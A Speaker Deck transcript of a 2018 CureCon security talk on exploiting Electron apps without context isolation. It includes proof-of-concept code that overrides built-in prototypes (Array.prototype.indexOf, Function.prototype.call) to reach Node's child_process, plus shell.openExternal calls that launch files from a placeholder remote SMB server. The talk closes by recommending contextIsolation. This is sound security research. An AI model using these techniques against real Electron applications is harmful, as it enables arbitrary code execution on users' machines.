$30 off During Our Annual Pro Sale. View Details »

Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)

Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)

ベルリンで開催されたCure53のイベント、CureConの資料です。

Masato Kinugawa

August 18, 2018
Tweet

More Decks by Masato Kinugawa

Other Decks in Research

Transcript

  1. Masato Kinugawa
    CureCon 08/2018

    View Slide




  2. View Slide





  3. View Slide

  4. View Slide

  5. 1

    View Slide



  6. View Slide

  7. https://electronjs.org/#apps

    View Slide




  8. View Slide

  9. main.js
    const {BrowserWindow} = require('electron');
    let win = new BrowserWindow();
    //Open Renderer Process
    win.loadURL(`file://${__dirname}/index.html`);

    View Slide

  10. index.html



    TEST


    Hello Electron!
    <br/>body{<br/>background:url('island.png')<br/>}<br/>


    View Slide



  11. new BrowserWindow({
    webPreferences:{
    "FEATURE_NAME": true
    }
    });

    View Slide





  12. View Slide

  13. let win = new BrowserWindow({
    webPreferences:{
    nodeIntegration: true
    }
    });
    win.loadURL(`[...] index.html`);
    main.js

    <br/>require('child_process')<br/>.exec('calc')<br/>

    index.html

    View Slide



  14. new BrowserWindow({
    webPreferences:{
    nodeIntegration: false,
    preload: path.join(__dirname,'preload.js')
    }
    });
    main.js

    View Slide

  15. /* preload.js */
    typeof require === 'function';//true
    window.runCalc = function(){
    require('child_process').exec('calc')
    };


    <br/>typeof require === 'undefined';//true<br/>runCalc();<br/>

    Node

    View Slide




  16. View Slide

  17. new BrowserWindow({
    webPreferences:{
    nodeIntegration: false,
    contextIsolation: true,
    preload: path.join(__dirname,'preload.js')
    }
    });

    View Slide

  18. 2

    View Slide




  19. View Slide



  20. View Slide

  21. https://github.com/electron/i18n/blob/81f707c69562cb91fe7c5a98270827a28b93fd5f/content/ja-
    JP/docs/tutorial/security.md#3-リモートコンテンツでコンテキストイソレーションを有効にする

    View Slide

  22. /* Content Script */
    window.abc = 123;
    /* https://example.com */
    alert(window.abc)//undefined
    Isolated
    World

    View Slide

  23. /* preload.js */
    window.abc = 123;
    /* index.html */
    alert(window.abc)//123
    Isolated
    World

    View Slide

  24. /* preload.js */
    window.abc = 123;
    /* index.html */
    alert(window.abc)//undefined
    Isolated
    World

    View Slide

  25. /* preload.js */
    onmessage=function(e){
    if(e.data==='runCalc'){
    require('child_process').exec('calc')
    }
    }
    /* index.html */
    postMessage('runCalc','*')
    Isolated
    World

    View Slide



  26. View Slide

  27. 3

    View Slide

  28. View Slide

  29. View Slide

  30. /* preload.js */
    const {shell} = require('electron');
    const SAFE_PROTOCOLS = ["http:", "https:"];
    document.addEventListener('click', (e) => {
    if (e.target.nodeName === 'A') {
    var link = e.target;
    if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) {
    shell.openExternal(link.href);
    } else {
    alert('This link is not allowed');
    }
    e.preventDefault();
    }
    }, false);
    http(s):

    View Slide

  31. const {shell} = require('electron');
    /* */
    shell.openExternal('https://example.com/');
    /* */
    shell.openExternal('mailto:[email protected]');
    /* */
    shell.openExternal('file:///C:/windows/system32/calc.exe');

    View Slide

  32. /* preload.js */
    const {shell} = require('electron');
    const SAFE_PROTOCOLS = ["http:", "https:"];
    document.addEventListener('click', (e) => {
    if (e.target.nodeName === 'A') {
    var link = e.target;
    if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) {
    shell.openExternal(link.href);
    } else {
    alert('This link is not allowed');
    }
    e.preventDefault();
    }
    }, false);

    View Slide

  33. <br/>Array.prototype.indexOf = function(){<br/>return 1337;<br/>}<br/>

    View Slide

  34. if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) {
    shell.openExternal(link.href);
    }

    View Slide

  35. if (1337 !== -1) {
    shell.openExternal(link.href);
    }

    View Slide

  36. <br/>Array.prototype.indexOf=function(){<br/>return 1337;<br/>}<br/>
    CLICK
    Click
    if (1337 !== -1) {
    shell.openExternal(link.href);
    }

    View Slide



  37. View Slide

  38. const { shell } = require('electron');
    shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.exe");

    View Slide

  39. const { shell } = require('electron');
    shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms");

    The Tale of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson)
    https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

    View Slide




  40. InsertScript: DLL Hijacking via URL files (Alex Inführ)
    https://insert-script.blogspot.com/2018/05/dll-hijacking-via-
    url-files.html

    View Slide




  41. View Slide

  42. // Clean cache on quit.
    process.on('exit', function () {
    for (let p in cachedArchives) {
    if (!hasProp.call(cachedArchives, p)) continue
    cachedArchives[p].destroy()
    }
    })
    https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib
    /common/asar.js#L30-L36

    View Slide

  43. EventEmitter.prototype.emit = function emit(type) {
    [...]
    handler = events[type];
    [...]
    var isFn = typeof handler === 'function';
    len = arguments.length;
    switch (len) {
    // fast cases
    case 1:
    emitNone(handler, isFn, this);
    break;
    case 2:
    [...]
    }
    };
    https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231

    View Slide

  44. function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }
    https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113

    View Slide

  45. function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }

    View Slide

  46. process.mainModule.require

    View Slide

  47. function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }

    View Slide

  48. <br/>Function.prototype.call=function(process){<br/>process.mainModule.require('child_process').execSync('calc');<br/>}<br/>location.reload();//<br/>

    View Slide

  49. function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }
    Function.prototype.call=function(process){
    process.mainModule.require('child_process').execSync('calc');
    }

    View Slide

  50. • XSS

    • MitM
    JS
    contextIsolation RCE

    View Slide



  51. View Slide



  52. View Slide



  53. /* preload.js */
    document.addEventListener('click', (e) => {
    /*
    }, false);

    View Slide



  54. new BrowserWindow({
    webPreferences:{
    nodeIntegration: false,
    contextIsolation: true,
    preload: path.join(__dirname,'preload.js')
    }
    });
    IMPORTANT!

    View Slide

  55. View Slide